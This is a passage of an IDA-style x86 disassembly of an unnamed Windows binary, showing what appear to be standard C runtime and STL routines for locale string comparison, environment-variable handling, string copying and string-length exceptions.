sub_41F71C	proc near		; CODE XREF: sub_41EB33+440p
					; sub_41F004+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438860
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		jge	short loc_41F744
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4389C0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_41F744:				; CODE XREF: sub_41F71C+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F74F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_41F74F:				; CODE XREF: sub_41F71C+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		push	esi
		push	edi

loc_41F756:				; CODE XREF: sub_41F71C+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41F78E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41F781
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_41F781:				; CODE XREF: sub_41F71C+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41F4FC
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_41F78E:				; CODE XREF: sub_41F71C+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F756
		pop	edi
		pop	esi

loc_41F795:				; CODE XREF: sub_41F71C+14j
					; sub_41F71C+36j
		pop	ebx
		leave
		retn
sub_41F71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F798	proc near		; CODE XREF: sub_41F409+5Ep
					; sub_41FC49+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F7A5
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41F7A5:				; CODE XREF: sub_41F798+7j
		push	dword_46A8E4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_46AB04
		call	sub_41F845
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7D2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41F7D2:				; CODE XREF: sub_41F798+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41F798	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7D7	proc near		; CODE XREF: sub_41F409+1Ep
					; sub_41FAC2+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4694E4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41F838
		mov	ebx, dword_421138

loc_41F7F0:				; CODE XREF: sub_41F7D7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41F840
		push	ebp
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41F840
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_41F840
		push	edi
		push	[esp+18h+var_4]
		call	sub_41FAC2
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41F7F0

loc_41F838:				; CODE XREF: sub_41F7D7+11j
		xor	eax, eax

loc_41F83A:				; CODE XREF: sub_41F7D7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41F840:				; CODE XREF: sub_41F7D7+29j
					; sub_41F7D7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F83A
sub_41F7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F845	proc near		; CODE XREF: sub_41F798+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C20
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_469798, ebx
		push	1
		pop	edi
		jnz	short loc_41F8B8
		push	edi
		mov	eax, offset dword_421870
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_421008
		test	eax, eax
		jz	short loc_41F895
		mov	dword_469798, edi
		jmp	short loc_41F8B8
; ---------------------------------------------------------------------------

loc_41F895:				; CODE XREF: sub_41F845+46j
		push	edi
		mov	eax, offset dword_438FF4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42100C
		test	eax, eax
		jz	loc_41FAAE
		mov	dword_469798, 2

loc_41F8B8:				; CODE XREF: sub_41F845+31j
					; sub_41F845+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41F8CF
		push	esi
		push	[ebp+arg_8]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_41F8CF:				; CODE XREF: sub_41F845+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F8E4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_41F8E4:				; CODE XREF: sub_41F845+8Dj
		mov	eax, dword_469798
		cmp	eax, 2
		jnz	short loc_41F909
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42100C
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------

loc_41F909:				; CODE XREF: sub_41F845+A7j
		cmp	eax, edi
		jnz	loc_41FAAE
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41F91E
		mov	eax, dword_469558
		mov	[ebp+arg_18], eax

loc_41F91E:				; CODE XREF: sub_41F845+CFj
		cmp	esi, ebx
		jz	short loc_41F92B
		cmp	[ebp+arg_14], ebx
		jnz	loc_41F9C3

loc_41F92B:				; CODE XREF: sub_41F845+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41F938

loc_41F930:				; CODE XREF: sub_41F845+13Cj
					; sub_41F845+16Dj
		push	2

loc_41F932:				; CODE XREF: sub_41F845+146j
		pop	eax
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------

loc_41F938:				; CODE XREF: sub_41F845+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41F944

loc_41F93D:				; CODE XREF: sub_41F845+151j
					; sub_41F845+159j ...
		mov	eax, edi
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------

loc_41F944:				; CODE XREF: sub_41F845+F6j
		cmp	esi, edi
		jg	short loc_41F989
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_421194
		test	eax, eax
		jz	loc_41FAAE
		cmp	esi, ebx
		jle	short loc_41F98D
		cmp	[ebp+var_3C], 2
		jb	short loc_41F989
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F989

loc_41F96F:				; CODE XREF: sub_41F845+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F989
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F983
		cmp	cl, dl
		jbe	short loc_41F930

loc_41F983:				; CODE XREF: sub_41F845+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F96F

loc_41F989:				; CODE XREF: sub_41F845+101j
					; sub_41F845+120j ...
		push	3
		jmp	short loc_41F932
; ---------------------------------------------------------------------------

loc_41F98D:				; CODE XREF: sub_41F845+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F9C3
		cmp	[ebp+var_3C], 2
		jb	short loc_41F93D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F93D

loc_41F9A0:				; CODE XREF: sub_41F845+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F93D
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F9B8
		cmp	cl, dl
		jbe	loc_41F930

loc_41F9B8:				; CODE XREF: sub_41F845+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F9A0
		jmp	loc_41F93D
; ---------------------------------------------------------------------------

loc_41F9C3:				; CODE XREF: sub_41F845+E0j
					; sub_41F845+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_421064
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41FAAE
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_41FA12:				; CODE XREF: sub_41F845+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41FAAE
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421064
		call	esi
		test	eax, eax
		jz	short loc_41FAAE
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41FAAE
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_41FA7D:				; CODE XREF: sub_41F845+224j
		cmp	edi, ebx
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_421064
		test	eax, eax
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421008
		jmp	short loc_41FAB0
; ---------------------------------------------------------------------------

loc_41FAAE:				; CODE XREF: sub_41F845+63j
					; sub_41F845+C6j ...
		xor	eax, eax

loc_41FAB0:				; CODE XREF: sub_41F845+BFj
					; sub_41F845+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAC2	proc near		; CODE XREF: sub_41F7D7+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41FB26
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41FD08
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41FB26
		cmp	[ebp+arg_0], esi
		jz	short loc_41FB26
		mov	eax, dword_4694DC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4694E0
		jnz	short loc_41FB0C
		push	eax
		call	sub_41FCA1
		pop	ecx
		mov	dword_4694DC, eax

loc_41FB0C:				; CODE XREF: sub_41FAC2+3Cj
		cmp	eax, edi
		jnz	short loc_41FB64
		cmp	[ebp+arg_4], edi
		jz	short loc_41FB2E
		cmp	dword_4694E4, edi
		jz	short loc_41FB2E
		call	sub_41F7D7
		test	eax, eax
		jz	short loc_41FB64

loc_41FB26:				; CODE XREF: sub_41FAC2+Dj
					; sub_41FAC2+22j ...
		or	eax, 0FFFFFFFFh

loc_41FB29:				; CODE XREF: sub_41FAC2+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41FB2E:				; CODE XREF: sub_41FAC2+51j
					; sub_41FAC2+59j
		cmp	ebx, edi
		jnz	loc_41FC42
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	dword_4694DC, eax
		jz	short loc_41FB26
		mov	[eax], edi
		cmp	dword_4694E4, edi
		jnz	short loc_41FB64
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	dword_4694E4, eax
		jz	short loc_41FB26
		mov	[eax], edi

loc_41FB64:				; CODE XREF: sub_41FAC2+4Cj
					; sub_41FAC2+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4694DC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41FC49
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41FBC4
		cmp	dword ptr [edi], 0
		jz	short loc_41FBC4
		test	ebx, ebx
		jz	short loc_41FBBC
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415E3D
		pop	ecx

loc_41FB96:				; CODE XREF: sub_41FAC2+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41FBA6
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41FB96
; ---------------------------------------------------------------------------

loc_41FBA6:				; CODE XREF: sub_41FAC2+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FBF6
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------

loc_41FBBC:				; CODE XREF: sub_41FAC2+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41FBF6
; ---------------------------------------------------------------------------

loc_41FBC4:				; CODE XREF: sub_41FAC2+BDj
					; sub_41FAC2+C2j
		test	ebx, ebx
		jnz	short loc_41FC42
		test	esi, esi
		jge	short loc_41FBCE
		neg	esi

loc_41FBCE:				; CODE XREF: sub_41FAC2+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41FB26
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_41FBF1:				; CODE XREF: sub_41FAC2+F8j
		mov	dword_4694DC, eax

loc_41FBF6:				; CODE XREF: sub_41FAC2+F6j
					; sub_41FAC2+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41FC42
		push	[ebp+arg_0]
		call	sub_415CF0
		inc	eax
		inc	eax
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41FC42
		push	[ebp+arg_0]
		push	esi
		call	sub_415C00
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_421004
		push	esi
		call	sub_415E3D
		pop	ecx

loc_41FC42:				; CODE XREF: sub_41FAC2+6Ej
					; sub_41FAC2+104j ...
		xor	eax, eax
		jmp	loc_41FB29
sub_41FAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC49	proc near		; CODE XREF: sub_41FAC2+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4694DC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FC84
		mov	edi, [esp+8+arg_4]

loc_41FC5B:				; CODE XREF: sub_41FC49+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FC7A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41FC94
		test	al, al
		jz	short loc_41FC94

loc_41FC7A:				; CODE XREF: sub_41FC49+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41FC5B

loc_41FC84:				; CODE XREF: sub_41FC49+Cj
		mov	eax, esi
		sub	eax, dword_4694DC
		sar	eax, 2
		neg	eax

loc_41FC91:				; CODE XREF: sub_41FC49+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41FC94:				; CODE XREF: sub_41FC49+2Bj
					; sub_41FC49+2Fj
		mov	eax, esi
		sub	eax, dword_4694DC
		sar	eax, 2
		jmp	short loc_41FC91
sub_41FC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCA1	proc near		; CODE XREF: sub_41FAC2+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41FCB0
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41FCB0:				; CODE XREF: sub_41FCA1+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41FCC2

loc_41FCB8:				; CODE XREF: sub_41FCA1+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41FCB8

loc_41FCC2:				; CODE XREF: sub_41FCA1+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41FCE3
		push	9
		call	sub_417BEE
		pop	ecx

loc_41FCE3:				; CODE XREF: sub_41FCA1+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_41FCE7:				; CODE XREF: sub_41FCA1+5Bj
		test	eax, eax
		jz	short loc_41FCFE
		push	eax
		add	ebx, 4
		call	sub_41FD7B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41FCE7
; ---------------------------------------------------------------------------

loc_41FCFE:				; CODE XREF: sub_41FCA1+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41FCA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD08	proc near		; CODE XREF: sub_41FAC2+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_46A8FC, 0
		jnz	short loc_41FD23
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417080
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FD23:				; CODE XREF: sub_41FD08+Aj
		mov	ecx, [ebp+arg_0]

loc_41FD26:				; CODE XREF: sub_41FD08+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41FD69
		movzx	edx, al
		test	byte_46AA01[edx], 4
		jz	short loc_41FD55
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41FD60
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41FD64
		jmp	short loc_41FD5D
; ---------------------------------------------------------------------------

loc_41FD55:				; CODE XREF: sub_41FD08+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41FD69

loc_41FD5D:				; CODE XREF: sub_41FD08+4Bj
		inc	ecx
		jmp	short loc_41FD26
; ---------------------------------------------------------------------------

loc_41FD60:				; CODE XREF: sub_41FD08+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FD64:				; CODE XREF: sub_41FD08+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FD69:				; CODE XREF: sub_41FD08+25j
					; sub_41FD08+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41FD08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD7B	proc near		; CODE XREF: sub_4099AA+21p
					; sub_41FCA1+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41FDA2
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FDA2
		push	esi
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41FDA2:				; CODE XREF: sub_41FD7B+7j
					; sub_41FD7B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41FD7B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FDB0	proc near		; CODE XREF: sub_404B1E+15p
					; sub_404B77+15p ...
		mov	eax, offset loc_4202A0
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_421F80
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C3C
		call	sub_420209
		pop	esi
sub_41FDB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE0A	proc near		; CODE XREF: sub_41FDB0+3Fp
					; sub_41FFDC+3Fp
		mov	eax, offset loc_4202B4
		call	sub_416458
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438FDC
		call	sub_42012E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FE0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6E	proc near		; DATA XREF: .nsp0:00421C40o
					; .nsp0:00421C60o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41FE7A
		mov	eax, offset dword_421258

locret_41FE7A:				; CODE XREF: sub_41FE6E+5j
		retn
sub_41FE6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE7B	proc near		; DATA XREF: .nsp0:00421C64o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FEF1
		lea	eax, [ebp+var_1C]
		push	offset dword_421FF0
		push	eax
		call	sub_420209
sub_41FE7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE98	proc near		; CODE XREF: .nsp0:0041FED8p
					; DATA XREF: .nsp0:00421FF4o
		mov	eax, offset loc_4202C8
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FE98	endp

; ---------------------------------------------------------------------------

loc_41FED5:				; DATA XREF: .nsp0:off_421C5Co
		push	esi
		mov	esi, ecx
		call	sub_41FE98
		test	byte ptr [esp+8], 1
		jz	short loc_41FEEB
		push	esi
		call	sub_416477
		pop	ecx

loc_41FEEB:				; CODE XREF: .nsp0:0041FEE2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41FEF1	proc near		; CODE XREF: sub_41FE7B+Ap
					; sub_41FFC4+7p ...
		mov	eax, offset loc_4202DC
		call	sub_416458
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42016B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FEF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF4E	proc near		; CODE XREF: sub_41FF8B+20p
					; DATA XREF: .nsp0:00421F84o
		mov	eax, offset loc_4202F0
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF8B	proc near		; DATA XREF: .nsp0:00421C44o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FFC4
		lea	eax, [ebp+var_1C]
		push	offset dword_421F80
		push	eax
		call	sub_420209

loc_41FFA8:				; DATA XREF: .nsp0:off_421C3Co
		push	esi
		mov	esi, ecx
		call	sub_41FF4E
		test	[esp+20h+var_18], 1
		jz	short loc_41FFBE
		push	esi
		call	sub_416477
		pop	ecx

loc_41FFBE:				; CODE XREF: sub_41FF8B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFC4	proc near		; CODE XREF: sub_41FF8B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C3C
		mov	eax, esi
		pop	esi
		retn	4
sub_41FFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFDC	proc near		; CODE XREF: sub_404BCE+13p
					; sub_404D92+Ep
		mov	eax, offset loc_420304
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
